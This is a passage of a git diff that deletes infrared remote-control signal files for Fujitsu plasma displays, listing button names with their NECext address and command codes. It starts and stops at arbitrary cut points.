00 -# -name: INPUT_1_-_COMPOSITE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 06 00 00 00 -# -name: COMPOSITE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 06 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 06 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 08 00 00 00 -# -name: RGB_1_2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 08 00 00 00 -# -name: INPUT_-_RGB -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 08 00 00 00 -# -name: INPUT_RGB2_-_(D-SUB) -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 09 00 00 00 -# -name: RGB_DSUB -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 09 00 00 00 -# -name: RGB2:_D-SUB15 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 09 00 00 00 -# -name: RGB-BNC -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0A 00 00 00 -# -name: RGB3:_5_BNC -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0A 00 00 00 -# -name: INPUT_2_-_S-VIDEO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0B 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0B 00 00 00 -# -name: COMPONET -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0C 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0C 00 00 00 -# -name: HIDDEN_1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0D 00 00 00 -# -name: INPUT_RGB1_-_DVI -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0E 00 00 00 -# -name: RGB_DVI -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0E 00 00 00 -# -name: RGB1:_DVI-D -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0E 00 00 00 -# -name: SHIFT_1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 10 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: SHIFT_2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 20 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 21 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 21 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 21 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 21 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 21 00 00 00 -# -name: SHIFT_3 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 30 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: ADJ_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3E 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: ADJ_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 3F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 40 00 00 00 -# -name: SHIFT_4 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 40 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: ADJUST_> -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: ADJ_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 41 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: ADJUST_< -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: ADJ_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 5B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 5B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 5B 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 5B 00 00 00 -# -name: HIDDEN_4 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 67 00 00 00 -# -name: HIDDEN_6 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 68 00 00 00 -# -name: HIDDEN_5 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 69 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 80 00 00 00 -# -name: SCRN.MODE-WIDE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 80 00 00 00 -# -name: ASPECT_TOGGLE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 80 00 00 00 -# -name: ASPECT_AUTO -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 81 00 00 00 -# -name: SCRN.MODE-NORMAL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 82 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 82 00 00 00 -# -name: ASPECT_NORMAL -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 82 00 00 00 -# -name: SCRN.MODE-WIDE1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 83 00 00 00 -# -name: SCRN.MODE-WIDE2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 83 00 00 00 -# -name: WIDE_1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 83 00 00 00 -# -name: WIDE_2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 83 00 00 00 -# -name: ASPECT_WIDE1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 83 00 00 00 -# -name: ASPECT_WIDE2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 84 00 00 00 -# -name: SCRN.MODE-ZOOM1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 85 00 00 00 -# -name: ZOOM1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 85 00 00 00 -# -name: ASPECT_ZOOM1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 85 00 00 00 -# -name: SCRN.MODE-ZOOM2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 86 00 00 00 -# -name: ZOOM_2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 86 00 00 00 -# -name: ASPECT_ZOOM2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 86 00 00 00 -# -name: HIDDEN_8 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 8A 00 00 00 -# -name: LOCK_(HIDDEN) -type: parsed -protocol: NECext -address: 84 00 00 00 -command: E0 00 00 00 -# -name: HIDDEN_7 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: E0 00 00 00 -# -name: MODE_(HIDDEN) -type: parsed -protocol: NECext -address: 84 00 00 00 -command: FA 00 00 00 -# -name: HIDDEN_3 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir deleted file mode 100644 index 8180a3cdb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: HIDDEN_2 -type: parsed -protocol: NECext -address: 84 81 00 00 -command: 00 00 00 00 -# -name: HIDDEN_9 -type: parsed -protocol: NECext -address: 84 81 00 00 -command: 3E 00 00 00 -# -name: HIDDEN_10 -type: parsed -protocol: NECext -address: 84 81 00 00 -command: 3F 00 00 00 -# -name: HIDDEN_11 -type: parsed -protocol: NECext -address: 84 81 00 00 -command: 41 00 00 00 -# -name: HIDDEN_13 -type: parsed -protocol: NECext -address: 84 81 00 00 -command: 42 00 00 00 -# -name: HIDDEN_12 -type: parsed -protocol: NECext -address: 84 81 00 00 -command: 5B 00 00 00 -# -name: HIDDEN_14 -type: parsed -protocol: NECext -address: 84 81 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir deleted file mode 100644 index 08969640a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: WIDE_2 -type: parsed -protocol: NECext -address: 84 82 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir deleted file mode 100644 index 6e066fff7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZOOM_2 -type: parsed -protocol: NECext -address: 84 86 00 00 -command: 16 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir deleted file mode 100644 index e30bc7b59..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUTO -type: parsed -protocol: NECext -address: 84 88 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir deleted file mode 100644 index 204bded4f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir +++ /dev/null @@ -1,410 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 00 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 01 00 00 00 -# -name: DISCRETE_ON -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 02 00 00 00 -# -name: DISCRETE_OFF -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 02 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 08 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 10 00 00 00 -# -name: WIDE_(TOGGLE) -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 10 00 00 00 -# -name: ASPECT_WIDE_(TOG) -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 10 00 00 00 -# -name: ASPECT_AUTO -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 11 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 11 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 12 00 00 00 -# -name: ASPECT_NORMAL -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 12 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 12 00 00 00 -# -name: ASPECT_WIDE_1 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 13 00 00 00 -# -name: WIDE_1 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 13 00 00 00 -# -name: ASPECT_WIDE1 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 13 00 00 00 -# -name: ASPECT_WIDE_2 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 14 00 00 00 -# -name: WIDE_2 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 14 00 00 00 -# -name: ASPECT_WIDE2 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 14 00 00 00 -# -name: ASPECT_ZOOM_1 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 15 00 00 00 -# -name: ZOOM_1 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 15 00 00 00 -# -name: ASPECT_ZOOM1 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 15 00 00 00 -# -name: ASPECT_ZOOM_2 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 16 00 00 00 -# -name: ZOOM_2 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 16 00 00 00 -# -name: ASPECT_ZOOM2 -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 20 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 20 00 00 00 -# -name: ADJ._< -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 20 00 00 00 -# -name: ADJ_LEFT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 20 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 20 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 20 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 20 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 21 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 21 00 00 00 -# -name: ADJ._> -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 21 00 00 00 -# -name: ADJ_RIGHT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 21 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 21 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 21 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 21 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 22 00 00 00 -# -name: MENU/EXIT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 22 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 23 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 23 00 00 00 -# -name: ADJ._UP -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 23 00 00 00 -# -name: ADJ_UP -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 23 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 23 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 23 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 24 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 24 00 00 00 -# -name: ADJ._DN. -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 24 00 00 00 -# -name: ADJ_DOWN -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 24 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 24 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 24 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 26 00 00 00 -# -name: CURSOR_SELECT_/ENTER -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 26 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 26 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 26 00 00 00 -# -name: OFF-TIMER -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 41 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 41 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 41 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 44 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 44 00 00 00 -# -name: PIC_MODE -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 44 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 48 00 00 00 -# -name: PICTURE_MEMORY -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 48 00 00 00 -# -name: PIC_MEMORY -type: parsed -protocol: NECext -address: 84 8A 00 00 -command: 48 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir deleted file mode 100644 index 3f73c5bee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 00 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 00 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 0E 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 0E 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 16 00 00 00 -# -name: INPUT_VIDEO -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 16 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 17 00 00 00 -# -name: INPUT_RGB -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 17 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 40 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 40 00 00 00 -# -name: VIDEO_1-COMPOSITE -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 40 00 00 00 -# -name: VID_1 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 40 00 00 00 -# -name: INPUT1-COMPOSITE -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 40 00 00 00 -# -name: VIDEO_1_COMPOSITE -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 40 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 41 00 00 00 -# -name: VIDEO_2_(S) -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 41 00 00 00 -# -name: VIDEO_2-S_VIDEO -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 41 00 00 00 -# -name: VID_2 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 41 00 00 00 -# -name: INPUT2-S-VIDEO -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 41 00 00 00 -# -name: VIDEO_2_S-VIDEO -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 41 00 00 00 -# -name: VIDEO_2_/_S-VIDEO -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 41 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 42 00 00 00 -# -name: INPUT_3_-_COMPONENT1 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 42 00 00 00 -# -name: VIDEO_3_(BACK) -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 42 00 00 00 -# -name: VIDEO_3-COMPONENT -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 42 00 00 00 -# -name: VID_3 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 42 00 00 00 -# -name: INPUT3-COMPONENT1 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 42 00 00 00 -# -name: VIDEO_3_/_COMP_1 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 42 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 43 00 00 00 -# -name: INPUT_4_-_COMPONENT2 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 43 00 00 00 -# -name: VIDEO_4_(FRONT) -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 43 00 00 00 -# -name: VIDEO_4-COMPONENT -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 43 00 00 00 -# -name: INPUT4-COMPONENT2 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 43 00 00 00 -# -name: VIDEO_4_/_COMP_2 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 43 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 44 00 00 00 -# -name: INPUT_5_-_HDMI -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 44 00 00 00 -# -name: VIDEO_5_(HDMI) -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 44 00 00 00 -# -name: VIDEO_5-HDMI -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 44 00 00 00 -# -name: INPUT5-HDMI -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 44 00 00 00 -# -name: VIDEO_5_/_HDMI -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 44 00 00 00 -# -name: RGB_1 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 68 00 00 00 -# -name: RGB1 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 68 00 00 00 -# -name: RGB_1:_DVI-D -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 68 00 00 00 -# -name: RGB1:_DVI-D -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 68 00 00 00 -# -name: RGB_1_/_DVI-D -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 68 00 00 00 -# -name: RGB_2 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 69 00 00 00 -# -name: RGB2 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 69 00 00 00 -# -name: RGB_2:_D-SUB15P -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 69 00 00 00 -# -name: RGB2:_D-SUB15 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 69 00 00 00 -# -name: RGB3/VIDEO4 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 6A 00 00 00 -# -name: RGB_3/_VIDEO_4 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 6A 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 6A 00 00 00 -# -name: RGB3/VIDEO_4 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 6A 00 00 00 -# -name: RGB_3/VID_4 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 6A 00 00 00 -# -name: INPUT4_-_#2 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 6A 00 00 00 -# -name: RGB_3/VIDEO_4 -type: parsed -protocol: NECext -address: 84 8B 00 00 -command: 6A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir deleted file mode 100644 index 068ff6a58..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 10 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 10 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 11 00 00 00 -# -name: VOL_-- -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 11 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 11 00 00 00 -# -name: VOLUME_DN -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 11 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 8C 00 00 -command: 12 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir deleted file mode 100644 index de38dc66e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 0C 00 00 00 -# -name: CH_RETURN -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_RETURN -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 0E 00 00 00 -# -name: MTS/STEREO -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 12 00 00 00 -# -name: ANTENNA -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 30 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 31 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 40 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 41 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 42 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 43 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 44 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 45 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 46 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 47 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 48 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 84 8D 00 00 -command: 4A 00 00 00 -# -name: . -type: 